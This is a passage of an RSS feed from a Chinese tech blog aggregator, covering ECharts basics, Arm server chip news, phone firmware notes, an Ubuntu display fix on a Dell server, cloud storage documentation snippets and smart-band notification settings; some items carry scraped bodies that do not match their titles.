      <description>一.首页知识点推荐： 点击首页-&amp;gt;可视化实验室&#xA;里面有很多意想不到的宝藏&#xA;二.名词解析 1.基本名词 xAxis 横坐标&#xA;yAxis 纵坐标&#xA;grid 整个坐标系是基于grid这个网格去定位的&#xA;legend 图例&#xA;dataRange 值域选择，常用于展现地域数据时选择值域范围&#xA;dataZoom 数据区域缩放，常用于展现大量数据时选择可视范围&#xA;toolbox 工具箱&#xA;tooltip 气泡提示框，常用于展现更详细的数据&#xA;timeline 时间轴&#xA;series 存放数据的大数组&#xA;2.图标名词 ⑴折线图：有两种类型：一种是平铺，一种是堆积(加和)，面积填充的交区域图&#xA;⑵柱形图：类目在纵轴，数据在横轴的叫条形图，也有平铺和堆积两种状态&#xA;⑶散点图：有两个维度的数据，横坐标和纵坐标，当我们给他第三个维度数据，给他映射大小的时候，我们一般叫他气泡&#xA;⑷k线&#xA;⑸饼图：空心的，我们一般叫他圆环图，玫瑰图是饼图的一种变形&#xA;⑹雷达图：多维度的数据&#xA;⑺和弦图：关系网络，每条弧代表一条实体，弧与弧之间会有弦链接在一起代表他们之间的关系&#xA;⑻力导向布局图&#xA;每一个节点是一个实体，节点与节点之间的连线代表他们之间的关系。和弦图和力导向图都是关系型的图&#xA;⑼地图&#xA;⑽仪表盘：对关键指标形象的展现。一个仪表盘一个针，多根针其实是几个仪表盘堆叠而已&#xA;⑾漏斗图&#xA;⑿事件河流图&#xA;⒀矩形树图&#xA;⒁韦恩图&#xA;⒂树图&#xA;⒃字浮云&#xA;三.echarts直角系下的两个重要组建：grid(网格)和axis(坐标轴) 1.grid(网格) 直角坐标系下网格坐标和大小的重要组建，如图：grid有6个参数定义坐标和大小，分别是定义左上角的x和y,定义右下角的x2,y2，也可以直接定义整个的宽和高&#xA;那我们看看这六个参数是如何搭配着使用来定义整个直角系的坐标和大小的，要注意的是&#xA;1）这6个都支持传入数值number(单位px)或传入string(单位%);&#xA;2）ECharts没有绑定resize事件，显示区域大小发生改变内部并不知道，使用方可以根据自己的需求绑定关心的事件，主动调用resize达到自适应的效果，常见如window.onresize = myChart.resize。我们所看到的echarts的事例都是绑定了整个方法，所以可以看到图标自适应升缩的效果&#xA;3）怎么改变直角系的布局和大小？&#xA;这里把横纵坐标轴都隐藏了，所以grid我们会看的更明显，我们可以设置边框颜色，边框高度，背景色，距离左上角的位置和距离右下角的位置(位置可以用数值直接表示，也可以用百分比自适应升缩)&#xA;注意哦，有了width和height(支持数值和百分比)，x2就不起作用了&#xA;如果要求grid不显示，就把边框色设置透明色或者边框宽度为0&#xA;2.xAxis(横坐标)和yAxis(纵坐标) 最多可以存在两条横轴和两条纵轴，横轴可以依附在grid的顶部和底部(默认)，纵轴可以依附在grid的左侧(默认)和右侧。不管是横轴还是纵轴，坐标轴都有三种类型：分别是类目型、数值型和时间型&#xA;2.1坐标轴的三种类型 2.1.1 类目型、数值型： 这里的横轴的类型category就是类目轴，类目轴需要指定一个data，这里是【周一~周日】，类目轴只能出现指定的data，不会多一个，也不会少一个；&#xA;y轴默认是一个数值轴，如果你不指定一个区间的话，他会自动的从目标数据里面去计算最大值和最小值作为他们的区间&#xA;2.1.2时间型 横轴的data是时间格式的数据，并且会格式化 成为时间格式&#xA;2.2 坐标轴的配置 1） type：指坐标轴类型 有 ‘category’ | ‘value’ | ‘time’ ， 横轴默认为类目型’category’，纵轴默认为数型’value’</description>
    </item>
    <item>
      <title>新一代服务器芯片,Marvell新一代服务器芯片ThunderX3公布：7nm工艺Arm架构96核心384线程...</title>
      <link>https://bchobby.github.io/posts/ec679c7420a28c01c62e3015e8123c5b/</link>
      <pubDate>Tue, 10 Aug 2021 10:47:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec679c7420a28c01c62e3015e8123c5b/</guid>
      <description>来源：雪球App，作者： 芯智讯，(https://xueqiu.com/2156146731/144436817)&#xA;Arm架构处理器虽然进军桌面PC市场不太顺利，但是在云端、边缘计算、高性能计算领域，确实硕果累累，产品丰富，应用广泛，已经对X86构成了不小的威胁。去年年底，亚马逊发布了64核心的Graviton2，本月初Ampere也推出了80核心的Altra，现在Mavell(美满电子)的新一代Arm服务器芯片ThunderX3也正式曝光。&#xA;Marvell ThunderX系列已经走过两代产品，并承诺每两年升级一次。2018年的ThunderX2采用台积电16nm工艺制造，最多32个核心，基于自研的四发射、乱序执行ARM v8.1架构，每核心最多四线程，也就是总共最多128线程，运行频率2.5GHz。今年晚些时候，Marvell将会正式发布第三代ThunderX3，2024年则会有第四代ThunderX4。&#xA;根据曝光的资料显示，ThunderX3采用台积电7nm工艺制造，升级为ARM v8.3指令集架构，最多96个核心，比上代增加了两倍，相比AMD霄龙也多了一半，同时继续支持四线程，总计最多128线程。核心频率未公布，但是热设计功耗范围100-240W。&#xA;新的内核集成四个128-bit Neon SIMD单元，就宽度而言等效于一个x86 AVX-512，当然最高端的Intel至强有两个，AMD霄龙则每核心支持两个256-bit SIMD单元。I/O方面支持八通道DDR4-3200，类似AMD二代霄龙和Intel下代至强，并有64条PCIe 4.0，AMD二代霄龙的一半。&#xA;Marvell官方宣称，ThunderX3 IPC性能比上代提升超过25%，单线程性能提升超过60%(那意味着频率也会大大提高)，平台级整体性能提升最多3倍，浮点性能更是得益于新增的SIMD单元而可以增加5倍多。&#xA;Marvell ThunderX家族的生态支持已经相当繁茂，官方号称部署最广泛的Arm服务器处理器，已得到了20家客户的采纳，甚至第一次进入了超级计算机领域。&#xA;面对x86，Marvell信心十足，尤其是强调Intel受制于工艺无法增加更多核心，已丢失领导地位，AMD则存在内存延迟偏高、带宽不足的问题，自家的ThunderX系列则优点多多：服务器优化定制核心、出色的能效、最佳单线程性能/平台性能/内存延迟/内存带宽、生态就绪。&#xA;编辑：芯智讯-林子</description>
    </item>
    <item>
      <title>魅蓝e刷机显示服务器失败,魅蓝E移动定制版刷机包系统升级更新包</title>
      <link>https://bchobby.github.io/posts/a88675999a3dc550fa04d2ef2666af92/</link>
      <pubDate>Tue, 10 Aug 2021 10:42:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a88675999a3dc550fa04d2ef2666af92/</guid>
      <description>魅蓝E采用了1080P的5.5英寸全贴合显示屏，PPI高达403。在处理器方面，搭载了联发科的Helio P10，魅蓝E刷机固件系统已经可以下载了，小编第一时间在这里跟大家分享，这次分享的版本是Flyme 6.2.5.0A稳定版以及Flyme 5.2.1.1MY原厂系统，为大家提供的升级包是完整系统升级包，大部分用户已经进行升级更新了，系统升级包主要是对系统已发现的问题进行修复，在文章的下方提供刷机详细图解教程，有需要的，可以进行下载了。&#xA;此次更新的刷机包适用于MY移动定制版，确认当前使用系统的版本号后缀，刷机前请提前备份您的个人资料&#xA;魅蓝E稳定版&#xA;版本信息：&#xA;版本：Flyme 6.2.5.0A&#xA;MD5：F2A01A79FF04C1FFD88E22CE7AC405B6&#xA;文件大小：1437MB&#xA;发布时间：2017-12-26&#xA;开发者：Flyme&#xA;更新日志：&#xA;解决开机慢的问题&#xA;修复相机闪退的现象&#xA;修复来电无振动的现象&#xA;修复息屏显示不完整的现象&#xA;解决通话录音功能失效的问题&#xA;解决无法使用指纹解锁的问题&#xA;解决通话时无法自动亮屏/黑屏的问题&#xA;解决通知栏和锁屏界面不显示未接电话的问题&#xA;解决“Krack”引起的Wi-Fi安全漏洞问题&#xA;魅蓝E原厂系统&#xA;该版本为出厂系统，稳定版、体验版刷入此版本属于降级行为，需要清除数据。非移动版魅蓝 E 不能刷此版本。&#xA;版本信息：&#xA;版本：Flyme 5.2.1.1MY&#xA;MD5：963050d79eb1e722f703fb0368a789d0&#xA;文件大小：1200MB&#xA;发布时间：2017-02-20&#xA;开发者：Flyme&#xA;更新日志：&#xA;系统&#xA;优化锁卡策略&#xA;刷机教程：</description>
    </item>
    <item>
      <title>戴尔服务器连接显示器花屏,戴尔T630塔式服务器,解决Ubuntu18.04 LTS 花屏问题</title>
      <link>https://bchobby.github.io/posts/1b5ff2eb1440d038f98a70c2de1e4cc2/</link>
      <pubDate>Tue, 10 Aug 2021 09:47:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b5ff2eb1440d038f98a70c2de1e4cc2/</guid>
      <description>前言：戴尔T630塔式服务器，官方客服说只支持版本Ubuntu 16.04LTS和Ubuntu 14.04LTS每次开机到用户登就花屏&#xA;当硬件，显卡不支持时，启动ubuntu的会花屏,这台T630没有加独立显卡用的集成显卡&#xA;一、进入命令行系统&#xA;打开系统后，在BIOS引导界面选择菜单中，点击“Ubuntu”，“e”键进入编辑模式&#xA;在出现的编辑项里，在GRUB解析内核的参数末尾给出引导运行级别，3&#xA;按CTRL+X或F10引导系统，启动之后就是命令行模式了&#xA;二、配置GPU相关启动项目&#xA;sudo vi /etc/default/grub&#xA;GRUB_DEFAULT=0&#xA;GRUB_HIDDEN_TIMEOUT=0&#xA;GRUB_HIDDEN_TIMEOUT_QUIET=true&#xA;GRUB_TIMEOUT=10&#xA;GRUB_DISTRIBUTOR=`lsb_release -i -s 2&amp;gt; /dev/null || echo Debian`&#xA;GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash” —–改成：GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash nomodeset”&#xA;GRUB_CMDLINE_LINUX=””&#xA;三、禁掉wayland图形界面&#xA;sudo vi /etc/gdm3/custom.conf&#xA;把里面的：#WaylandEnable = false ———改成：WaylandEnable = false</description>
    </item>
    <item>
      <title>剑三修复工具无法连接服务器失败怎么办,掉线3手游，你们都怎么登上的？</title>
      <link>https://bchobby.github.io/posts/26d73c3b2386d1d186644b876323d1dc/</link>
      <pubDate>Tue, 10 Aug 2021 09:19:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26d73c3b2386d1d186644b876323d1dc/</guid>
      <description>原标题：掉线3手游，你们都怎么登上的？&#xA;在剑网3手游的世界频道中，发现了玩家在世界频道的刷频发言，戏称《剑网3：指尖江湖》是&#34;国内首款5G游戏&#34;，因为游戏&#34;4G不能玩，WIFI必掉线&#34;……&#xA;频繁出现掉线重连的原因往往很简单，就是玩家和服务器之间的数据交互出现了异常。&#xA;如果可以排除玩家自身所处的网络环境有问题，则基本可以确定是官方提供的服务器由于需要处理的数据太多而承载了过多的负荷。&#xA;在一款热门游戏的开服初期，服务器的问题往往是会表现得比较明显的。&#xA;如果的确是官方服务器导致了断线，玩家在自己设备上的各种尝试大多都会于事无补。&#xA;此时建议玩家尽量进行哪些掉线了也没有多大关系的行动，例如开地图、采集等等，而尽量不要在存在掉线可能的情况下进行战斗尤其是有挑战次数限制的副本。&#xA;无法忍受频繁中断的不流畅游玩、或者是根本挤不进去服务器的玩家，可以趁此期间多参考一些各方面的攻略，用这段时间来为自己的开局路线做一个合理的规划。&#xA;虽然六月十二日的开服有服务器不稳定的情况，但是官方在第二天也就是六月十三日立刻修复了这一问题，现在剑网3可以说是非常稳定啦！！&#xA;现在问题修复之后，之前没有好好看剧情的玩家，可以在九州引里观看并领取礼包，画质清新脱俗，玩法新颖。相信在官方的妥善处理之下，剑网3会很快回暖，再登巅峰。返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>服务器上文件不能重命名,服务器文件重命名</title>
      <link>https://bchobby.github.io/posts/a2a5ee5e42792bfb5a5f8f849e703279/</link>
      <pubDate>Tue, 10 Aug 2021 08:00:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2a5ee5e42792bfb5a5f8f849e703279/</guid>
      <description>服务器文件重命名 内容精选&#xA;换一换&#xA;您可以使用JDK自带的keytool工具自制客户端的密钥库文件(client.p12)，再使用第三方openssl工具将client.p12转换为client.pem，最后根据client.pem文件得到客户端的私钥文件(client.key)、证书文件(client.crt)。在当前目录或切换到其它目录下，执行以下命令生成keystor&#xA;该任务指导用户使用Loader将数据从HBase导出到SFTP服务器。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业执行时操作的HBase表或phoenix表。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器数据导出目录的写入权限。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小。&#xA;服务器文件重命名 相关内容&#xA;该任务指导用户使用Loader将数据从Hive导出到SFTP服务器。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业中指定的Hive表的权限。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器数据导出目录的写入权限。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小。如果设置的任务需要使&#xA;该任务指导用户使用Loader将数据从Spark导出到SFTP服务器。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业中指定的Spark表的权限。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器数据导出目录的写入权限。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小。如果设置的任务需&#xA;服务器文件重命名 更多内容&#xA;在Linux云服务器上安装软件的时候经常会遇到网络不通或者网络源失效的情况，如果这时候有系统对应的ISO文件，就可以比较方便地使用ISO入源。配置本地源需要先确认使用的是哪种包管理器，一般常用的包管理器有三种：yum、apt、zypper。使用yum一般是RHEL-based系统：rhel、centos、euler、fedora使用apt&#xA;用户可以在MRS Manager界面上配置监控指标数据对接参数，使集群内各监控指标数据通过FTP或SFTP协议保存到指定的FTP服务器，与第三方系统进行对接。FTP协议未加密数据可能存在安全风险，建议使用SFTP。MRS Manager支持采集当前管理的集群内所有监控指标数据，采集的周期有30秒、60秒和300秒三种。监控指标数据在FTP&#xA;可以根据应用备份将资源的数据恢复到备份时刻的状态。需要恢复的资源的状态为“在线”。不建议对正在运行的应用程序的文件进行恢复，建议停止应用程序运行后再执行恢复操作。如果重命名已执行过备份的数据库，建议恢复时选择新数据库名称且不覆盖现有数据库，否则可能会恢复失败。登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“存储 &amp;gt; 云备份&#xA;资源池是BCE所需要使用的计算资源的集合。BCE的资源池由CCE和CCI提供，分为共享资源池、专属资源池、cromwell资源池。批量任务投递时所选择的队列，在进行任务调度时，会根据队列的权重进行优先调度。通过作业模板创建出来的计算任务实例集合。根据一定的规则来描述计算任务的运行依赖或者先后顺序的yaml文件，使用作业模板可以创建作业实例&#xA;执行以下步骤刷新数据库连接：状态栏显示已完成操作的状态。完成刷新数据库所需时间完全取决于数据库中存在的对象数量。因此，建议在大规模数据库中根据需要执行此操作。右键单击连接名称，选择“刷新”，刷新整个连接。在刷新的过程中，整个连接将更新为服务器上的最新内容。右键单击函数/过程，选择“刷新”，该模式下的所有函数/过程及表将被刷新。在刷新的过程&#xA;您可以使用JDK自带的keytool工具自制服务端的密钥库文件(server.p12)，再使用第三方openssl工具将server.p12转换为server.pem，最后根据server.pem文件得到服务端的私钥文件(server.key)、证书文件(server.crt)。在当前目录或切换到其它目录下，执行以下命令生成keystor&#xA;Agent启动时提示“SMS.1205 无法加载wmi模块”或“failed to load wmi”。出现该问题可能是wmi相关文件缺失或者损坏导致。Windows系统进行源端信息采集时需要使用wmi模块采集cpu，内存，磁盘等信息，无法导入该模块将导致无法采集到源端信息。因此可以考虑修复wmi相关文件。修复过程中会停止winmgmt服&#xA;该任务指导用户使用Loader将数据从SFTP服务器导入到HDFS/OBS。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业执行时操作的HDFS/OBS目录和数据。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器上源文件的读取权限。若源文件在导入后文件名要增加后缀，则该用户还需具备源文件的写入权&#xA;该任务指导用户使用Loader将数据从HDFS/OBS导出到SFTP服务器。创建或获取该任务中创建Loader作业的业务用户和密码。确保用户已授权访问作业执行时操作的HDFS/OBS目录和数据。获取SFTP服务器使用的用户和密码，且该用户具备SFTP服务器数据导出目录的写入权限。检查磁盘空间，确保没有出现告警且余量满足导入、导出数据的大小&#xA;设置“云服务器名称”。名称可自定义，但需符合命名规则：只能由中文字符、英文字母、数字及“_”、“-”、“.”组成。如果同时购买多台弹性云服务器，系统会自动按序增加后缀。一次创建多台弹性云服务器时，系统自动增加后缀，例如：输入ecs，云服务器名称为ecs-0001, ecs-0002，……。再次创建多台云服务器时，命名从上次最大值连续增加，&#xA;安装传输工具在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。在本地主机和Windows云服务器上分别安装数据传输工具，将文件上传到云服务器。例如QQ.exe。本地磁盘映射(推荐使用)使用远程桌面连接MSTSC方式进行数据传输。该方式不支持断点续传，可能存在传输中断的情况，因此不建议上传大文</description>
    </item>
    <item>
      <title>服务器升级文件 不推送就无法打开吗,Win7升Windows10有获取通知,但是就不推送的解决方法...</title>
      <link>https://bchobby.github.io/posts/21075d35e4071bcf794db27fd1515edd/</link>
      <pubDate>Tue, 10 Aug 2021 07:42:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21075d35e4071bcf794db27fd1515edd/</guid>
      <description>js鼠标滚轮滚动图片切换效果&#xA;效果体验网址:http://keleyi.com/keleyi/phtml/image/12.htm HTML文件代码: /p&amp;gt;&#xA;Python for Infomatics 第12章 网络编程六(译)&#xA;注:文章原文为Dr. Charles Severance 的 .文中代码用3.4版改写,并在本机测试通过. 12.9 词汇表 Beautif ...&#xA;Linux下配置SVN&#xA;1.安装svn yum -y install subversion 2.创建SVN版本库目录 mkdir -p /var/svn/svnrepos (-p参数:如果没有这个目录,则创建这个目录) 3. ...&#xA;JDBC与ODBC的区别与应用&#xA;jdbc是使用通过JAVA的数据库驱动直接和数据库相连,而jdbc-odbc连接的是ODBC的数据源,真正与数据库建立连接的是ODBC! 建议使用JDBC直接连接,同时最好使用连接池! JDBC 是 ...&#xA;java根据url获取json对象&#xA;package test; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; ...&#xA;hdu 3718&#xA;一个二分图最大匹配的题: 匈牙利算法不熟: 建了个模,用最小费用最大流解决了 #include #include #define IN ...&#xA;Song of Pi&#xA;def main(): pi = &#39; # 预先给出需要比较的值 t = int(raw_input()) for _ in xrange(t): song = raw_input().</description>
    </item>
    <item>
      <title>浙江宇视视频服务器型号,宇视存储主机VX1600 开局指导书(包括VX1648).doc</title>
      <link>https://bchobby.github.io/posts/a8beb5d86cd7e923defedd25bf73ebfa/</link>
      <pubDate>Tue, 10 Aug 2021 06:58:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8beb5d86cd7e923defedd25bf73ebfa/</guid>
      <description>初始化配置&#xA;设置端口IP和MTU&#xA;在系统串口用interface命令为管理口配置IP，输入的命令如下所示：&#xA;system interface set ip port=eth0 address=1 new-address=1 netmask=&#xA;? 说明：&#xA;port指定要设置的端口，address指定设置端口的IP地址，netmask指定设置端口的网络掩码，mtu如不设置，则默认为1500。&#xA;配置管理FE口后，就可以通过GUI界面来对VX1600进行管理操作。当然，前提是管理PC能够ping通 VX1600管理FE口，允许GUI配置控制台通过业务 网口登录。&#xA;用新配置的管理口IP登录存储界面，右键单击存储服务器名称，通过【系统维护/网络配置】进行其他业务口IP和服务器名称的更改,如图9-2所示：&#xA;注意：&#xA;进行“网络配置”设置后，会出现服务器连接中断的提示，点击【确定】后，重新连接服务器。&#xA;业务口MTU默认值为1500，不建议修改。&#xA;图9-2 在界面上进行服务器的IP和名称设置&#xA;选择【系统维护/网络配置】，选择需要进行设置的端口后，单击【设置】按钮，如图9-3所示：&#xA;图9-3 选择需要设置的端口&#xA;在新弹出的窗口中进行端口IP地址和掩码的输入，输入完成并确认无误后，单击【确定】按钮，如图9-4所示：&#xA;重复步骤(2)～(4)设置所有的端口IP，设置完成后可通过【系统维护/网络配置】选项查。&#xA;图9-4 进行服务器的IP和掩码设置&#xA;设置服务器名称&#xA;操作步骤如下：&#xA;右键单击存储服务器名，选择图9-2中的【系统维护/服务器名称设置】菜单，在弹出的对话框中输入新的服务器名，如图9-5所示；&#xA;如果没有特殊要求，请按照“局点名拼音缩写-设备标号”的格式进行命名。假如局点是中央电大，只有一套设备(设备标号为1)，则存储服务器的名称为：zydd-1。&#xA;注意：&#xA;不允许将服务器名称设置成中文。&#xA;在界面修改服务器名称之后，系统会自动重启。&#xA;禁止在有业务的情况下修改存储服务器的名称；&#xA;服务器名设置好了之后尽量不要再次修改。&#xA;当服务器名中含有. 时，messages中的服务器名称只截取. 前面的字段。&#xA;图9-5 进行服务器的名称设置&#xA;设置系统时间&#xA;若VX1600的时间与实际时间有差异，需根据实际的时间进行修改。&#xA;打开存储控制台，双击窗口右下角的时间区域，会弹出设置时间对话框，重新设置时间，如图9-6所示：&#xA;图9-6 修改系统时间&#xA;配置业务口聚合(可选)&#xA;注意：&#xA;详细的配置说明请查看《VX1600网络存储管理软件 用户手册》中“02-GUI控制台”的相关内容。&#xA;网口聚合&#xA;注意：&#xA;配置聚合之前最好通过管理FE口登录。&#xA;交换机端的聚合使用静态聚合方式。&#xA;右键单击目录树中的存储服务器名，选择图9-2中的【系统维护/网口聚合】菜单项；&#xA;在弹出的窗口中根据实际应用选择【聚合模式】，然后选择一个网口名称，此时【设置聚合】项变为可操作项，点击【设置聚合】，如图9-7。&#xA;? 说明：&#xA;有4种聚合模式可选：802.3ad(layer2)、Balance-XOR(layer2)和Balance-XOR(layer3+4)，Acitive-backup，可根据实际要求选择聚合模式。&#xA;802.3ad 模式：将多个网络组成一个共享相同速度与全双工的链路聚集，以获得容错、负载平衡与提高传输效率的功效。802.3ad模式需要交换机有对应的配置为802.3ad聚合的端口，即交换机必须支持802.3ad动态链结聚合规范，才能启用这个模式。&#xA;Balance-XOR(layer2)模式 ：将封包流量分散到所有可用网络上，这种模式有容许故障失效与流量负载平衡的效果。如果配置了该模式，需要在交换机端配置聚合，否则业务压力过大时，可能引起EC2516丢包。&#xA;Balance-XOR(layer3+4)：适合三层业务；&#xA;Acitive-backup：正常情况只有一条链路在使用，当一条链路断开才会切换至另一条链路，不具备负载均衡。&#xA;图9-7 选择网口名称进行聚合1</description>
    </item>
    <item>
      <title>微软 文档转换服务器,文档转换器</title>
      <link>https://bchobby.github.io/posts/195fd7fd8458e41e60fdc08af9b49357/</link>
      <pubDate>Tue, 10 Aug 2021 06:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/195fd7fd8458e41e60fdc08af9b49357/</guid>
      <description>文档转换器&#xA;11/16/2014&#xA;本文内容&#xA;适用于： SharePoint 2016 |SharePoint Foundation 2013 |SharePoint Online |SharePoint Server 2013&#xA;定义文档转换器的每个元素清单文件都必须遵循文档转换器定义架构。&#xA;以下是文档转换器定义架构中的元素列表。 选择元素名称以获取有关该元素的详细信息。&#xA;文档转换器定义架构示例&#xA;下面的示例是自定义文档转换器的文档转换器定义文件，该转换器将 &#34;文件类型 A&#34; 格式的文件转换为 &#34;File Type B&#34; 格式。&#xA;Name=&#34;FileTypeA to FileTypeB&#34;&#xA;App=&#34;FTA2FTB.exe&#34;&#xA;From=&#34;fta&#34;&#xA;To=&#34;ftb&#34;&#xA;ConverterUIPage=&#34;FTA2FTB.aspx&#34;&#xA;ConverterSpecificSettingsUI=&#34;FTA2FTBConfig.aspx&#34;&#xA;ConverterSettingsForContentType=&#34;FTA2FTBConfig.ascx&#34;&#xA;/&amp;gt;&#xA;另请参阅</description>
    </item>
    <item>
      <title>手环app推送消息要通过服务器,华为手环3/3 Pro应用app消息不推送怎么解决?</title>
      <link>https://bchobby.github.io/posts/ef3186c766461cc914cfcb36238ce2ed/</link>
      <pubDate>Tue, 10 Aug 2021 05:36:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef3186c766461cc914cfcb36238ce2ed/</guid>
      <description>华为手环 3/3 Pro 可以接收手机中的消息，但是如果消息不推送怎么办，下面我们就来看看这个问题的解决办法。&#xA;一、手环阅读消息&#xA;1、收到消息后，手环会震动提醒，表盘右上方会出现未读消息图标。点亮屏幕后，滑动屏幕进入 消息 页面，就可以看到消息提醒的内容。当收到多条消息时，点击消息图标，即可浏览内容。阅读消息时，支持上下方向滑动屏幕，可以看到更多内容。&#xA;二、消息通知开关&#xA;怎么能让手环收到手机的消息呢？&#xA;首先，要确认运动健康App已开启了消息通知功能，Android手机在运动健康App的手环设备界面，点击 消息通知，开启 通知选项；iOS手机在运动健康App的手环设备界面，点击 通知管理，开启 消息提醒 选项。&#xA;以Android手机为例，还可以在 消息通知 页面的 应用 选项中，管理开启通知的应用。以下图为例，未开启 微博 选项时，手机推送的微博消息就不会同步在手环。&#xA;三、关闭免打扰&#xA;确认运动健康App内关闭 免打扰 模式。如下图，免打扰模式可以设置 全天免打扰、未佩戴时免打扰，也支持 定时免打扰。&#xA;未佩戴时免打扰 开关开启时，手环在未佩戴状态，消息不会推送。&#xA;四、通知权限设置&#xA;1、手机通知栏中呈现的消息才能推送至手环。收不到消息时，先检查手机通知栏是否有消息提醒。可以检查应用是否开启了 通知栏权限，以及是否允许应用显示通知内容详情。&#xA;2、以EMUI 9.0的华为手机和微信消息为例：&#xA;手机上进入 设置 &amp;gt;通知中心 &amp;gt;微信，开启 允许通知 ，在设置 &amp;gt;通知中心 &amp;gt; 微信 &amp;gt;新消息通知里开启允许通知和在状态栏上显示；&#xA;手机开启微信，进入 我的 &amp;gt; 设置 &amp;gt; 新消息提醒，开启 接受新消息通知 和 通知显示消息详情 。&#xA;五、App后台保护&#xA;最后，在手机中将运动健康App设置为后台保护，确认App进程不会被手机关闭。不同型号手机的添加方法不同，具体操作方法如下：&#xA;非华为Android手机：&#xA;可以咨询该手机厂商，或在互联网上进行搜索，如何将华为运动健康App设置为后台保护，不会被手机系统清理，并开启App的消息通知权限。&#xA;华为手机：&#xA;EMUI 4.0及以下版本请在 手机管家 &amp;gt;自动启动管理 以及 受保护的应用中设置；EMUI 5.0及以上版本无需设置，但如果手机安装了其它三方管家，请将App加入后台保护。&#xA;iOS手机：</description>
    </item>
    <item>
      <title>服务器异常下电文件系统,ftp服务器文件系统异常</title>
      <link>https://bchobby.github.io/posts/7e492720fa82e8bf8c8deb54633f262a/</link>
      <pubDate>Tue, 10 Aug 2021 05:18:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e492720fa82e8bf8c8deb54633f262a/</guid>
      <description>ftp服务器文件系统异常 内容精选&#xA;换一换&#xA;当前Linux文件系统，基本上采用了日志文件系统，确保在系统出错时，可以通过日志进行恢复，保证文件系统的可靠性。Barrier(栅栏)，即先加一个栅栏，保证日志总是先写入，然后对应数据才刷新到磁盘，这种方式保证了系统崩溃后磁盘恢复的正确性，但对写入性能有影响。服务器如果采用了RAID卡，并且RAID本身有电池，或者采用其它保护方案，那么就&#xA;Windows弹性云服务器虚拟化驱动异常(Tools没有正常运行)。为保证弹性云服务器的正常使用，请参见本节内容进行修复。弹性云服务器虚拟化驱动异常会影响弹性云服务器服务数据安全、可用性、系统性能。具体影响的表现：可能导致弹性云服务器文件系统损坏。用户控制台单击“关机”、“重启”按钮，由于没有Tools，在云平台底层弹性云服务器会被“强制&#xA;ftp服务器文件系统异常 相关内容&#xA;弹性文件服务(Scalable File Service，SFS)提供按需扩展的高性能文件存储(NAS)，可为云上多个弹性云服务器(Elastic Cloud Server，ECS)，容器(CCE&amp;amp;CCI)、裸金属服务器(BMS)提供共享访问。如图1所示。与传统的文件共享存储相比，弹性文件服务具有以下优势：文件共享同一区域跨多个可用区的云&#xA;为保证文件系统能够正常使用，弹性文件系统将会占用用户以下资源。SFS容量型文件系统：创建SFS文件系统时，会在用户填写的安全组下，开通111、445、2049、2051、2052端口的入规则。默认的源地址为0.0.0.0/0，用户后续可根据自己的实际情况，修改该地址。如果创建加密的SFS容量型文件系统，将会使用用户填写的kms密钥进行加密&#xA;ftp服务器文件系统异常 更多内容&#xA;对象存储服务OBS是华为云提供的稳定、安全、高效、易用的云存储服务，具备标准Restful API接口，可存储任意数量和形式的非结构化数据。弹性文件服务SFS是华为云提供的按需扩展的高性能文件存储(NAS)，可为云上多个弹性云服务器ECS，容器CCE&amp;amp;CCI，裸金属服务器BMS提供共享访问。SFS的文件系统需要挂载到弹性云服务器、容器或裸&#xA;企业主机安全可对您已开启的告警防御能力提供总览数据，帮助您快速了解安全告警概况包括存在告警的服务器、待处理告警事件、已处理告警事件、已拦截IP和已隔离文件。事件管理列表仅保留近30天内发生的告警事件，您可以根据自己的业务需求，自行判断并处理告警，快速清除资产中的安全威胁。告警事件处理完成后，告警事件将从未处理状态转化为已处理。若不需要检测&#xA;在SAP HANA系统中，Backup卷由SFS或SFS Turbo提供时，您可根据实际需要创建一个SFS或SFS Turbo，提供共享路径给SAP HANA节点。SFS与SFS Turbo的区别SFS是高带宽、大容量的文件存储服务，而SFS Turbo是低时延、高IOPS的文件存储服务。SFS同时支持NFS和CIFS两种协议，SFS T&#xA;本文以服务器的操作系统为“Windows Server 2016 Standard 64bit”为例，提供云硬盘的初始化操作指导。MBR格式分区支持的磁盘最大容量为2 TB，GPT分区表最大支持的磁盘容量为18 EB，因此当为容量大于2 TB的磁盘分区时，请采用GPT分区方式。关于磁盘分区形式的更多介绍，请参见初始化数据盘场景及磁盘分区形&#xA;对比以往的C6云服务器，盘符是vd*格式，譬如vda、vdb，新购的C6云服务器盘符变成的sd*格式。本节操作介绍盘符变成sd*格式的原因，以及常见的磁盘操作场景下的sd*格式盘符的处理方法，其他磁盘操作场景可参考本节示例方法。Linux系统的盘符是OS内部根据一定的规则自动生成的，这个规则与磁盘协议、磁盘序号等均有关系，因此存在一定的不&#xA;为了对源端服务器进行迁移可行性评估以及为后续目的端服务器的选择和配置提供必要性数据，迁移Agent会收集源端服务器的相关信息并上报到主机迁移服务。收集的Windows操作系统的具体数据如表1所示。收集的Linux操作系统的具体数据如表2所示。收集的所有信息仅用于数据迁移，不会用做其他用途。&#xA;创建文件系统，在多个云服务器中挂载使用，实现文件系统的共享访问。可创建SFS容量型和SFS 